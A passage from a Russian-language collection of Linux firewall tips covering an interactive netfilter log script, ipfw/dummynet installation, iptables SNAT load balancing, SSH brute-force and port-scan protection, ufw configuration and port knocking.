    Правила по умолчанию в цепочках можно изменить на ваш вкус.
    Основной сценарий будем запускать от рядового пользователя, поэтому
    ему требуется право на чтение /var/log/syslog (или куда у Вас попадает журнал netfilter).
    
    Также пользователю требуется право заполнять правила netfilter командой
    iptables. У меня это сделано через /etc/sudoers
    
    2. Основной сценарий обработки журнала netfilter:
    
    interactive-firewall.sh
    
       while read line
       do
          echo $line | grep firewall > /dev/null 2>&1
          [ $? != 0 ] && continue
          for item in $line
          do
            case $item in
              firewall-*) CHAIN=$item;;
              PROTO=*) PROTO=$item;;
              SRC=*) SRC=$item;;
              SPT=*) SPT=$item;;
              DST=*) DST=$item;;
              DPT=*) DPT=$item;;
            esac
          done
          CHAIN=${CHAIN#firewall-}
          PROTO=${PROTO#PROTO=}
          PROTO=${PROTO,,}
          SRC=${SRC#SRC=}
          SPT=${SPT#SPT=}
          DST=${DST#DST=}
          DPT=${DPT#DPT=}
          ACTION=`LANG=C xmessage -buttons ACCEPT,DROP,SKIP -default SKIP    -timeout 15 -print "$SRC => $DST:$DPT"`
          ACTION=${ACTION:-"SKIP"}
          case $ACTION in
            SKIP) continue;;
            ACCEPT) sudo iptables -I $CHAIN 2 -s $SRC -d $DST -p $PROTO   --dport $DPT -j ACCEPT;;
            DROP) sudo iptables -I $CHAIN 2 -s $SRC -d $DST -p $PROTO --dport $DPT -j DROP;;
          esac
          sleep 1
    
    3. Запускаем firewall
    
       tail -f /var/log/syslog | ./interactive-firewall.sh
    
    4. Что можно улучшить.
    
    В этом варианте правила имеют вид SRC => DST:PORT -j ACTION. Исходный порт
    соединения понятно пропускается. Хорошо бы предоставлять выбор пользователю из
    нескольких вариантов, но xmessage для этого маловато. Может у кого есть
    предложения чем рисовать вопрос пользователю и обрабатывать его выбор?
    
    По желанию сценарий можно доработать и отображать в xmessage не голые цифры, а
    расшифровать их в имена компьютеров командой host, а протоколы по
    /etc/services. Кроме модификации сценария потребуется так же разрешить
    первоначально DNS трафик resolver'а в первоначальной конфигурации netfilter.
    
    5. Эта заметка ни на что не претендует, просто идея и простой набросок.
    
     
    ----* Установка ipfw и dummynet в Linux и Windows (доп. ссылка 1)   [комментарии]
     
    Не многие знают о том, что классический пакетный фильтр FreeBSD ipfw  и система
    ограничения пропускной способности dummynet были успешно портированы в Linux и Windows.
    
    В Ubuntu для сборки могут потребоваться пакеты:
    
       $ sudo apt-get install build-essential linux-source linux-headers-$(uname -r)
    
    Собираем ipfw и dummynet в Linux:
    
       $ wget http://info.iet.unipi.it/~luigi/dummynet/20100319-ipfw3.tgz
       $ tar xzf 20100319-ipfw3.tgz -C ~/src
       $ cd ~/src/ipfw3
       $ make
    
    
    
    Загружаем модуль Linux-ядра:
    
       $ sudo insmod ./dummynet2/ipfw_mod.ko
       $ lsmod| grep ipfw
       ipfw_mod               86695  0 
    
    Проверяем работу утилиты:
    
       $ sudo ipfw/ipfw show
    
       65535 54 6340 allow ip from any to any
    
       $ sudo ipfw/ipfw 10 add deny ip from 192.168.100.100 to any
    
       00010 deny ip from 192.168.100.100 to any
    
       $ sudo ipfw/ipfw show
    
       00010   1    84 deny ip from 192.168.100.100 to any
       65535 121 22335 allow ip from any to any
    
    
    Для Windows достаточно загрузить со страницы
    http://info.iet.unipi.it/~luigi/dummynet/ готовые исполняемые файлы.
    Для установки драйвера в панели конфигурации сетевой карты ( Control Panel ->
    Network -> карта) перейти в Properties->Install->Service->Add, выбрать 'Driver
    Disk' и указать на файл 'netipfw.inf', после чего выбрать 'ipfw+dummynet'.
    
     
    ----* Round Robin балансирование IP адресов исходящих соединений средствами iptables (доп. ссылка 1)   Автор: Stanislav S. Osipov  [комментарии]
     
    Данное решение отличается изящностью, так как реализует все средствами iptables. 
    Синтаксис: на машине, которая должна балансировать исходящие соединения,
    выполнить скрипт balancer.sh:
    
      sh ./balancer.sh
    
    Выключить балансер:
    
      sh ./balancer.sh off
    
    Замечание: При работе создается временный файл ~/balancer-rules.sav,
    используемый для уборки за собой при выключении балансера.
    
    balancer.sh
    
       #!/bin/bash
    
       # Written by Stanislav S. Osipov, demofly@mail.ru
       # Created 2010.08.08
       # Script makes SNAT round robin balancing for connections between all real IPA of this host
       #
       # OpenVZ guest warning: you must allow the next options:
       #  IPTABLES="ip_tables iptable_filter iptable_mangle iptable_nat ip_conntrack ipt_conntrack ipt_state"
    
       myips=`/sbin/ifconfig | /bin/grep "inet a" | /usr/bin/awk "{print \\$2}" | /usr/bin/cut -d: -f2 
       | /bin/grep -v "^127\.\|^10\.\|^192\.168\.\|^172\.\([12][0-9]\|3[01]\)\."`
    
       myipscount=`/sbin/ifconfig | /bin/grep "inet a" | /usr/bin/awk "{print \\$2}" | /usr/bin/cut -d: -f2 
       | /bin/grep -v "^127\.\|^10\.\|^192\.168\.\|^172\.\([12][0-9]\|3[01]\)\." | /usr/bin/wc -l`
    
       if [ $myipscount -lt 2 ] && [ "$1" != "off" ]
       then
           /bin/echo "you have not enough IPAs for balancing"
           /bin/echo "I have $myipscount IPAs:"
           /bin/echo $myips
           exit 0
       fi
    
       #for connections, initiated from this host
       chain="OUTPUT"
       #for connections, initiated by other hosts, which go through this host
       #chain="FORWARD"
    
       /bin/echo "Cleaning old balancer iptables rules..."
       if [ -e ~/balancer-rules.sav ]
       then
           /bin/cat ~/balancer-rules.sav | /bin/bash
           /bin/echo > ~/balancer-rules.sav
       else
           /bin/echo "No previously dumped rules was found."
       fi
       /bin/echo "Cleaning was done."
       if [ "$1" == "off" ]
       then
           if [ -e ~/balancer-rules.sav ]
           then
               rm ~/balancer-rules.sav
           fi
           exit 0
       fi
       /bin/echo "I have $myipscount IPAs:
       $myips
       Generating and writing mangle table mark logic rules..."
       i=1
       while [ $i -le $myipscount ]
       do
           RULE1="/sbin/iptables -t mangle -A $chain -j CONNMARK --set-mark $i"
           RULE2="/sbin/iptables -t mangle -A $chain -m statistic --mode nth --every $((myipscount-i+1)) -j RETURN"
           /bin/echo $RULE1
           $RULE1
           /bin/echo $RULE2
           $RULE2
           /bin/echo $RULE1 | /bin/sed -e "s# -A # -D #" >> ~/balancer-rules.sav
           /bin/echo $RULE2 | /bin/sed -e "s# -A # -D #" >> ~/balancer-rules.sav
        ((i++))
       done
       /bin/echo "...mangle table mark rules was done."
    
       /bin/echo "Writing SNAT mark based rules:"
       i=1
       for ip in $myips
       do
           RULE="/sbin/iptables -t nat -A POSTROUTING -m connmark --mark $i -j SNAT --to $ip"
           /bin/echo $RULE
           $RULE
           /bin/echo $RULE | /bin/sed -e "s# -A # -D #" >> ~/balancer-rules.sav
           ((i++))
       done
       /bin/echo "...nat table SNAT rules was done.
       Round robin balancer is turned on.
       Thank you for using this script written by Stanislav S. Osipov!"
    
    
    Как проверить
    
    Создать файл в DocumentRoot на какой-нить машине с апачом такого вида: `ip.php`:
    
       <?
       echo $_SERVER['REMOTE_ADDR']."\n";
       ?>
    
    И запустить такой тест с машины, которая работает с правилами балансера (для
    успешного теста на машине должна стоять библиотека libwww-perl):
    
       i=1; count=20; url="http://my.www.ru/ip.php"; while [ $i -lt $count ]; do GET "$url"; ((i++)); done
    
    Как выглядит в работе
    
       root@h1:~# i=1; count=10; url="http://my.www.ru/ip.php"; while [ $i -lt $count ]; do GET "$url"; ((i++)); done
       
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
    
       root@h1:~# ./balancer.sh
    
       Cleaning old balancer iptables rules...
       No previously dumped rules was found.
       Cleaning was done.
       I have 3 IPAs:
       95.239.178.214
       95.239.178.220
       95.239.178.221
    
       Generating and writing mangle table mark logic rules...
       /sbin/iptables -t mangle -A OUTPUT -j CONNMARK --set-mark 1
       /sbin/iptables -t mangle -A OUTPUT -m statistic --mode nth --every 3 -j RETURN
       /sbin/iptables -t mangle -A OUTPUT -j CONNMARK --set-mark 2
       /sbin/iptables -t mangle -A OUTPUT -m statistic --mode nth --every 2 -j RETURN
       /sbin/iptables -t mangle -A OUTPUT -j CONNMARK --set-mark 3
       /sbin/iptables -t mangle -A OUTPUT -m statistic --mode nth --every 1 -j RETURN
       ...mangle table mark rules was done.
       Writing SNAT mark based rules:
       /sbin/iptables -t nat -A POSTROUTING -m connmark --mark 1 -j SNAT  --to 95.239.178.214
       /sbin/iptables -t nat -A POSTROUTING -m connmark --mark 2 -j SNAT --to 95.239.178.220
       /sbin/iptables -t nat -A POSTROUTING -m connmark --mark 3 -j SNAT --to 95.239.178.221
       ...nat table SNAT rules was done.
       Round robin balancer is turned on.
       Thank you for using this script written by Stanislav S. Osipov!
    
       root@h1:~# i=1; count=10; url="http://my.www.ru/ip.php"; while [  $i -lt $count ]; do GET "$url"; ((i++)); done
    
       95.239.178.214
       95.239.178.221
       95.239.178.220
       95.239.178.214
       95.239.178.221
       95.239.178.220
       95.239.178.214
       95.239.178.221
       95.239.178.220
    
       root@h1:~# ./balancer.sh off
    
       Cleaning old balancer iptables rules...
       Cleaning was done.
    
       root@h1:~# i=1; count=10; url="http://my.www.ru/ip.php"; while [ $i -lt $count ]; do GET "$url"; ((i++)); done
    
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
    
     
    ----* Защита от bruteforce средствами iptables (доп. ссылка 1)   Автор: Владимир  [комментарии]
     
    В заметке приведены различные варианты защиты от bruteforce-атак,   на примере
    блокирования последовательного подбора паролей через ssh.
    
    Общий шаблон правил
    
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       iptables -A INPUT -p all -i lo -j ACCEPT
       iptables -A OUTPUT -p all -o lo -j ACCEPT
    
    Здесь будут наши правила (вариант)
    
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    Вариант 1, используя модуль recent:
    
    Добавляем ip в таблицу
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --name BLOCK -set
    
    С одного ip разрешаем 2 (--hitcount 3-1) запроса на соединение (NEW) в минуту (60 секунд), 
    третье блокируется и все последующие в течение минуты
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --name BLOCK --update --seconds 60 --rttl --hitcount 3 -j DROP
    
    Разрешаем входящие соединения на 22 порт
       iptables -A INPUT -p tcp --syn --dport 22 -j ACCEPT
    
    
    Вариант 2, используя модуль hashlimit:
    
    С одного ip разрешаем 2 запроса на соединение (NEW) в минуту (2/m) все
    остальные пакеты (NEW) c этого ip блокируется
    
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m hashlimit \
          --hashlimit-name BLOCK --hashlimit-mode srcip --hashlimit-above 2/m --hashlimit-burst 2 -j DROP
    
    Разрешаем входящие соединения на 22 порт
       iptables -A INPUT -p tcp --syn --dport 22 -j ACCEPT
    
    
    Вариант 3, используя модули connlimit, limit:
    
    С одного ip разрешаем не больше одно соединения (! --connlimit-above 1) на 22
    порт, пропускаем 2 пакета в минуту с запросом на соединение (NEW), все
    остальные пакеты (NEW) c этого ip блокируется
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m connlimit ! \
          --connlimit-above 1 -m limit --limit 2/m --limit-burst 2 -j ACCEPT
    
    Вариант 4, параноидальный:
    
    Два раза в течение минуты разрешено подключаться к 22 порту, при превышении
    порога ip блокируется на 10 минут.
    
    блокируем ip с запросом на соединение (NEW) попавшие в динамически обновляемую
    таблицу на 600 секунд
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --name BLOCK --rcheck --seconds 600 -j DROP
    
    С одного ip разрешаем 2 запроса на соединение (NEW) в минуту (2/m), если
    превышен порог,то добавляем ip в таблицу BLOCK для блокировки на 600 секунд (10 минут)
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m hashlimit \
          --hashlimit-name BLOCK --hashlimit-mode srcip --hashlimit-above 2/m --hashlimit-burst 2 -m recent --name BLOCK --set -j DROP
    
    Разрешаем входящие соединения на 22 порт
       iptables -A INPUT -p tcp --syn --dport 22 -j ACCEPT
    
     
    ----* Защита от спамерских и bruteforce-атак с помощью iptables   Автор: Забудкин Лев Мирославович  [комментарии]
     
    Сохраняем в файл скрипт:
    
       #!/bin/sh
       # Защита от спамовских атак и от BRUTE-атак с помощью IPTABLES
       # REJECT_BRUTERS v.1.0 Lev Zabudkin. zabudkin@mail.ru. http://zabudkin.ru
       # 23.03.2010
       #
       #  Описание:
       #   Данный скрипт позволяет Вам, используя iptables заблокировать
       #   дальнейшие попытки соединения от надоедливых хостов,
       #   которые пытались приконнектиться в течении определенного Вами времени
       #   и определенное Вами количество раз.
       #
       #  Итак поехали:
       #
       #  Мы создаём ниже переменную IPTABLES, дабы не указывать  постоянно где он лежит 
       #  Где у Вас лежит iptables?  (подсказка: # whereis iptables)
       IPTABLES="/sbin/iptables"
    
       #  На каком сетевом интерфейсе контролировать коннекты
       CHECK_INT="ppp0"
    
       #  Сколько именно коннектов Вы разрешаете с одного хоста?
       #  В данном случае указано 2, чего вполне достаточно для SMTP.
       MAXIMUM_CONNECTIONS_PER_PERIOD=2
    
       #  А в течение скольки секунд они разрешены?
       PERIOD_SECONDS=60
    
       #  Пояснение:  Если в течении Выше указанных секунд хост (в данном примере любой(!))
       #  попытается приконнектиться к Вам, то соединение будет отброшено (см. -j DROP)
       #  причем НАВСЕГДА, т.е ДО ТЕХ ПОР, пока Вы не обнулите цепочку BRUTE_CHECK
       #  ключём -F BRUTE_CHECK команды iptables
    
       #  Создаём цепочку  BRUTE_CHECK
       $IPTABLES -N BRUTE_CHECK
       #  Обнуляем правила цепочки BRUTE_CHECK
       $IPTABLES -F BRUTE_CHECK
    
       #  В данном случае мы удаляем ранее сделанное "перенаправление" (см. чуть ниже)
       #  чтобы этот скрипт можно было вызывать многократно
       $IPTABLES -D INPUT -j BRUTE_CHECK
    
       #  В данном случае мы "перенаправляем" для обработки входящие пакеты
       #  в нашу созданную цепочку
       $IPTABLES -A INPUT -j BRUTE_CHECK
    
       #  А тут уже пошли наши правила, которые гласят:
       #  все входящие пакеты на сетевой интерфейс (мы его указали выше),
       #  которые являются для нас новыми (см. state) и которые соответствуют нашим
       #  параметрам (см. выше), мы отбрасываем.
       $IPTABLES -A BRUTE_CHECK -i $CHECK_INT -p tcp -m state --state NEW -m recent --set --name BRUTE
    
       # См. Ниже Пояснение, если понадобится, то раскоментируете нижеприведенную строку 
       # (просто уберите символ решетки - #)
       #$IPTABLES -A BRUTE_CHECK -i $CHECK_INT -p tcp -m state --state NEW -m recent --update --seconds $PERIOD_SECONDS \
       #  --hitcount $MAXIMUM_CONNECTIONS_PER_PERIOD --rttl --name BRUTE -j LOG --log-level 4 --log-prefix '** BRUTE **'
    
       $IPTABLES -A BRUTE_CHECK -i $CHECK_INT -p tcp -m state --state NEW -m recent --update --seconds $PERIOD_SECONDS \
         --hitcount $MAXIMUM_CONNECTIONS_PER_PERIOD --rttl --name BRUTE -j DROP
    
    
    Пояснение:
    
    Для того, чтобы видеть, каких же успехов Вы добились, применив выше написанное,
    проделайте следующее:
    
    откройте файл /etc/syslog.conf и добавьте в конец строку:
    
       kern.warning /var/log/iptables.log
    
    затем перезапустите syslog:
    
       /etc/init.d/syslog restart
    
    (если у Вас Ubuntu, то наверное это sysklogd)
    
    События (про попытки) будут записываться в файл /var/log/iptables.log,
    его и смотрите.
    
    Да, и будет не лишним добавить данный скрипт в CRON (/etc/crontab),
    скажем каждые 5 минут:
    
       */5 * * * * root Путь/ВашСкрипт
    
     
    ----* Защищаем http-proxy от пробрасывания http-туннеля средствами iptables (доп. ссылка 1)   Автор: Владимир   [комментарии]
     
    При пробрасывании http-туннеля через http-прокси, http-заголовок пакета имеет
    аномально маленький размер, порядка 80-90 байт, так как передается лишь
    минимальный набор данных. Заголовок передаваемых браузером запросов обычно не
    бывает меньше 350 байт. Основываясь на данной особенности можно отфильтровать
    проброшенных поверх http-прокси туннели.
    
       # политика по умолчанию
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       # создаём новую цепочку LENGTH
       iptables -N LENGTH
    
       # проверяем длину пакета, если меньше 350 байт то блокируем
       iptables -A LENGTH -p tcp --dport 3128 -m length --length :350 -j DROP
    
       # если пакет больше 350 байт то пропускаем
       iptables -A LENGTH -p tcp --dport 3128 -j ACCEPT
    
       # разрешаем подключение на порт 3128
       iptables -A INPUT -p tcp --syn --dport 3128 -j ACCEPT
    
       # в установленом соединении проверяем пакеты на запрос GET --hex- string "|47 45 54 20|" 
       # если есть такой пакет то направляем его в цепочку LENGTH для проверки длины пакета
       iptables -A INPUT -p tcp --dport 3128 -m state --state ESTABLISHED -m string --algo kmp \
          --hex-string "|47 45 54 20|" --from 52 --to 56 -j LENGTH
    
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    Представленный пример опробован  на httptunnel 
    
     
    ----* Настройка ufw в Ubuntu (доп. ссылка 1)   Автор: Eugene Shelepov  [комментарии]
     
    Начиная с версии Ubuntu 8.04 в ее состав по умолчанию включена новая упрощенная
    оболочка для работы с файрволом - ufw (Uncomplicated firewall -
    "незамысловатый" брэндмауер). Как известно Linux по умолчанию имеет очень
    мощный встроенный сетевой фильтр - netfilter.
    
    Стандартной утилитой для управления настройками netfilter является утилита
    iptables. Ufw создан для того чтобы сделать более простым настройку
    netfilter-а. По сути ufw - это скрипт, который получает команды в одном формате
    и преобразует их в формат iptables.
    
    Так как ufw является упрощенной утилитой настройки файрвола, он так же является
    и более ограниченным в своих возможностях по сравнению с iptables. Практика
    показывает что большинству пользователей вполне достаточно функционала который
    предоставляет ufw. В то же время, в случае необходимости всегда можно дописать
    нужное правило с помощью iptables.
    
    Функционал ufw
    
    Основными функциями файрвола ufw является:
    
    1. Работа в одном из двух режимов: разрешено все кроме того что описано
    правилами, запрещено все, кроме описанного правилами.
    2. Создание правил для фильтрации пакетов с действиями allow, deny, reject
    3. Создание правил с учетом адреса и порта получателя и отправителя, используемого протокола
    4. Логирование пакетов подпадающих под правило
    5. Блокировка частых неправильных попыток авторизации по ssh
    6. Настраиваемые профили для приложений
    
    Запуск ufw
    
    Ufw может быть включен или выключен системным администратором сервера, для
    этого используется команд:
    
       # ufw enable
    
    Межсетевой экран активен и будет запущен при запуске системы
    
       # ufw disable
    
    Файрвол остановлен и деактивирован при загрузке
    
    Просматривать состояние можно с помощью команды:
    
       # ufw status [numbered]
       Status: active
    
    Параметр numbered может быть использован для отображения правил файрвола с
    соответствующей нумерацией.
    
    Изменение политики по умолчания:
    
       # ufw default allow [in|out]
       # ufw default deny [in|out]
       # ufw default reject [in|out]
    
    Где allow подразумевает что все пакеты будут пропущены, кроме тех, для которых
    есть запрещающее правило: deny - все пакеты будут заблокированы, кроме
    тех, для которых есть разрешающие правила; reject - все пакеты будут
    заблокированы с соответствующим уведомлением подключающуюся сторону.
    
    Параметры in|out указывают для какого направления мы хотим применять политику,
    для входящих или исходящих пакетов соответственно.
    
    Управление правилами осуществляется с помощью команд allow, deny, reject, delete, insert.
    
    allow - добавить разрешающее правило
    
    deny - добавить запрещающее правило (файрвол не предпринимает действий при попадании в это правило)
    
    reject - добавить запрещающее правило (файрвол даст знать подключающемуся что этот порт закрыт)
    
    limit - добавляет ограничивающее правило для указанного порта. В случае если с
    одного и того же адреса в течении 30 секунд будет произведено 6 и более
    неуспешных попыток авторизации в службу удаленного доступа ssh, ufw заблокирует
    удаленный адрес.
    
    delete - удалить добавленное ранее правило
    
    insert - вставить правило в определенную позицию в цепочке
    
    Построение правил файрвола
    
    Конструкция построения правил
    
       ufw allow|deny|reject|limit [in|out on INTERFACE] [log|log-all] [proto protocol] \
       [from ADDRESS [port PORT]] [to ADDRESS [port PORT]]
    
    Подробнее о параметрах:
    
    allow|deny|reject|limit - указываем что будет делать это правило (см. описание выше).
    
    [in|out on INTERFACE] - указываем будет это правило относится к входящему
    трафику (in) или исходящему (out) и хотим ли мы ограничить данное правило
    отдельным сетевым интерфейсом (к примеру eth0).
    
    [log|log-all] - при желании можно логировать события которые подпадают под
    правило. По умолчанию лог пишется в /var/log/syslog. При использовании опции
    log - в файл будут записаны лишь пакеты участвующие при установке соединения с
    сервером. Используя опцию log-all в лог файл будут записаны все пакеты
    подпадающие под правило.
    
    [proto protocol] - в правиле можно указать для какого протокола оно действует: tcp или udp.
    
    [from ADDRESS [port PORT]] - адрес и порт источника пакета
    
    [to ADDRESS [port PORT]] - адрес и порт получателя пакета
    
    Профили приложений
    
    Ufw позволяет создавать профили приложений. в которых можно указать все порты
    которые используются и удобно добавлять их в правила. Так к примеру можно
    создать профиль для веб-сервера Apache, указав что слушает он 80 и 443 порты по
    протоколу tcp.
    
    Профили приложений являются текстовыми файлами и могут быть отредактированы
    любым текстовым редактором. все файлы хранятся в директории /etc/ufw/applications.d:
    
       root@server:/etc/ufw/applications.d# pwd
       /etc/ufw/applications.d
       root@server:/etc/ufw/applications.d# ls -l
       -rw-r--r-- 1 root root 406 2009-11-13 00:52 apache2.2-common
       -rw-r--r-- 1 root root 145 2009-10-22 22:50 openssh-server
       -rw-r--r-- 1 root root 241 2009-09-22 16:52 postfix
      
    Рассмотрим пример профиля приложения apache2.2-common:
    
       [Apache]
       title=Web Server
       description=Apache v2 is the next generation of the omnipresent Apache web server.
       ports=80/tcp
       [Apache Secure]
       title=Web Server (HTTPS)
       description=Apache v2 is the next generation of the omnipresent   Apache web server.
       ports=443/tcp
       [Apache Full]
       title=Web Server (HTTP,HTTPS)
       description=Apache v2 is the next generation of the omnipresent Apache web server.
       ports=80,443/tcp
    
    В одном файле может находится несколько профилей. В данном примере 3: Apache,
    Apache Secure, Apache Full. Структура записей проста: сначала имя профиля в
    квадратных скобка ([Apache Full]), далее развернутое наименования приложения,
    далее описание приложения и список портов с указанием протокола которые
    задействованы в профиле (80,443/tcp).
    
    Вывести список профилей можно с помощью команды:
    
       # ufw app list
    
    Доступные приложения:
    
       Apache
       Apache Full
       Apache Secure
       OpenSSH
       Postfix
       Postfix Submission
    
    Детальную информацию по профилю можно просмотреть с помощью команды:
    
       # ufw app info OpenSSH
       |Профиль: OpenSSH
       |Название: Secure shell server, an rshd replacement
       |Описание: OpenSSH is a free implementation of the Secure Shell
    protocol.
       |Порт: 22/tcp
    
    После добавления или изменения профиля приложения (в файле) необходимо дать
    знать файрволу о новом профиле:
    
       # ufw app update OpenSSH
    
    Для того чтобы новый профиль сразу вступил в силу, необходимо добавить опцию --add-new:
    
       # ufw app update --add-new OpenSSH
    
    По умолчанию добавленные с помощью --add-new профили не будут обрабатываться
    файрволом. Рекомендуется вначале задать политику для новых профилей приложений:
    
      ufw app default allow|deny
    
    После чего все новые профили приложений будут добавляться в цепочку файрвола с указанной политикой.
    
    Использовать профили приложений можно также при создании обычных правил, например:
    
      # ufw allow OpenSSH
    
    Настройка профиля безопасности
    
    1. Ограничение входящих подключений к FTP и Веб серверу
    Пример настройки файрвола для ситуации, когда необходимо заблокировать доступ к
    FTP и Веб серверу с адреса 192.168.100.100. В примере 192.168.1.11 - сервер на
    котором настраивается файрвол:
    
       # ufw deny proto tcp from  192.168.100.100 to 192.168.1.11 port 21,80
    
    Правило добавлено
    
       # ufw status
       |Статус: активно
       |До Действие От
       ---- --------------------
       192.168.1.11 21,80/tcp DENY 192.168.100.100
    
    Теперь при попытках подключения с хоста 192.168.100.100 к 21 или 80 порту хоста
    192.168.1.11 клиент будет висеть пока не отвалится по таймауту.
    
    Удалим это правило и добавить аналогичное но с действием reject:
    
       # ufw delete deny proto tcp from 192.168.100.100 to 192.168.1.11 port 21,80
       # ufw reject proto tcp from 192.168.100.100 to 192.168.1.11 port 21,80
    
    Теперь при попытке подключения к 21 порту сервера удаленный клиент получит
    ответ Connection refused:
    
       $ telnet 192.168.1.11 21
       Trying 192.168.1.11...
       telnet: Unable to connect to remote host: Connection refused
    
    Просканируем порты сервера:
    
       # nmap -sT 192.168.1.100
       Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-28 22:56 EET
       Interesting ports on 192.168.1.100:
       Not shown: 992 closed ports
       PORT STATE SERVICE
       21/tcp filtered ftp
       22/tcp open ssh
       80/tcp filtered http
       139/tcp open netbios-ssn
       445/tcp open microsoft-ds
       2323/tcp open unknown
       3128/tcp open squid-http
       5900/tcp open vnc
       MAC Address: 00:18:F3:67:85:9E (Asustek Computer)
       Nmap done: 1 IP address (1 host up) scanned in 17.52 seconds
    
    2. Ограничение исходящих подключений к указанному серверу
    
    Цель - запретить исходящие подключения с сервера к адресу 195.214.195.105:
    
       # ufw deny proto tcp to 195.214.195.105
    
    3. Ограничение попыток авторизации по ssh
       # ufw limit 22
    
    Произведем несколько попыток подключения к 22 порту сервера с введением
    заведомо неправильного пароля:
    
       $ ssh 192.168.1.100
       user@192.168.1.100's password:
       Permission denied, please try again.
       ...
       $ ssh 192.168.1.100
       ssh: connect to host 192.168.1.100 port 22: Connection refused
    
    Как видим после нескольких неудачных попыток файрвол блокирует IP адрес с
    которого исходят попытки подключения и в логах появится соответсвтующяя запись:
    
       Dec 28 22:59:13 fortress kernel: [273659.578463] [UFW LIMIT BLOCK] 
          IN=eth0 OUT= MAC=00:18:f3:67:85:9e:00:26:5e:46:40:86:08:00 
          SRC=192.168.1.156 DST=192.168.1.100 LEN=60 TOS=0x00 PREC=0x00 
          TTL=64 ID=3150 DF PROTO=TCP SPT=33783 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0
    
    4. Логирование пакетов
    
       # ufw allow log 22
    
    С помощью этого правила файрвол будет логировать пакеты установки соединиения
    по указанному 22 порту. В логах появятся следующие записи:
    
       Dec 28 23:04:18 fortress kernel: [273964.364715] [UFW ALLOW] IN=eth0 
        OUT= MAC=00:18:f3:67:85:9e:00:26:5e:46:40:86:08:00 
        SRC=192.168.1.156 DST=192.168.1.100 LEN=60 TOS=0x00 PREC=0x00 
        TTL=64 ID=6564 DF PROTO=TCP SPT=58069 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0
    
     
    ----* Защита от трассировки маршрутов с помощью iptables (доп. ссылка 1)   Автор: Владимир  [комментарии]
     
    Для того, чтобы затруднить исследование сети (локальной, DMZ и т.д.) можно
    заблокировать все пакеты с низким значением TTL. Пример блокирования пакетов с
    TTL меньше 5:
    
       iptables -A INPUT -p all -m ttl --ttl-lt 5 -j DROP
    
    или
    
       iptables -A FORWARD -p all -m ttl --ttl-lt 5 -j DROP
    
     
    ----* Активное противодействие сканированию портов (доп. ссылка 1)   Автор: Владимир  [комментарии]
     
    Имеется сервер на нем ssh и web. Ниже приведён простой пример правил для
    блокирования на определенное время IP, обратившегося по неактивному номеру порта.
    
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       iptables -A INPUT -p all -i lo -j ACCEPT
       iptables -A OUTPUT -p all -o lo -j ACCEPT
    
       # любой пакет идущий на не 22,80 порт блокируется с ip адресом отправившим его на 120 секунд, 
       # на 120 секунд блокируется все пакеты с этого ip, тем самым предотвращается сканирование портов
       iptables -A INPUT -m recent --rcheck --seconds 120 --name FUCKOFF -j DROP
       iptables -A INPUT -p tcp -m multiport ! --dports 22,80 -m recent --set --name FUCKOFF -j DROP
    
       iptables -A INPUT -p tcp --syn --dport 22 -j ACCEPT
       iptables -A INPUT -p tcp --syn --dport 80 -j ACCEPT
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    Теперь nmap -sV ip не выдаст ничего и  если какой нибудь демон повесить на
    нестандартный порт, его будет не так просто обнаружить.
    
     
    ----* Защищаем SSH при помощи технологии "Port Knocking" (доп. ссылка 1) (доп. ссылка 2)   Автор: Дмитрий  [комментарии]
     
    Реализация идеи динамического открытия доступа к 22 порту, при предварительном
    обращении telnet-ом на определенный сетевой порт (в примере 333 - открыть
    доступ и 334 - закрыть). Идея реализована средствами iptables, без привлечения
    дополнительных утилит и анализаторов логов.
    
       # Создаю цепочку с именем SSH
       iptables -N SSH
       # Правило по умолчанию в INPUT - DROP
       iptables -P INPUT DROP 
       # Всё что пришло на 22 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 22 -j SSH 
       # Всё что пришло на 333 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 333 -j SSH 
       # Всё что пришло на 334 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 334 -j SSH 
    
    Разделения на цепочки сделано для своего удобства, от этого можно и отказаться. 
    
    Теперь заполняем цепочку SSH.
    
       # Проверяем на наличие имени "SSH" у IP адреса устанавливающего соединение на 22 порт. 
       # И если оно присутствует - то ACCEPT
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 22 -m recent --rcheck --name SSH --rsource -j ACCEPT
    
       # Устанавливает имя SSH любому IP адресу с которого пришло новое TCP соединение на указанный порт. (порт 333)
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 333 -m recent --set --name SSH --rsource -j DROP
    
       # Удаляет имя "SSH" с IP адреса установившего соединение на этот порт. (порт 334)
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 334 -m recent --remove --name SSH --rsource -j DROP
    
    Насладимся итоговым результатом: 
    
    Делаем: 
       telnet ip_address_or_domain_name 333
    После чего спокойно подключаемся по SSH.
    
    Когда прекращаем работу закрываем за собой 22 порт:
       telnet ip_address_or_domain_name 334
    
     
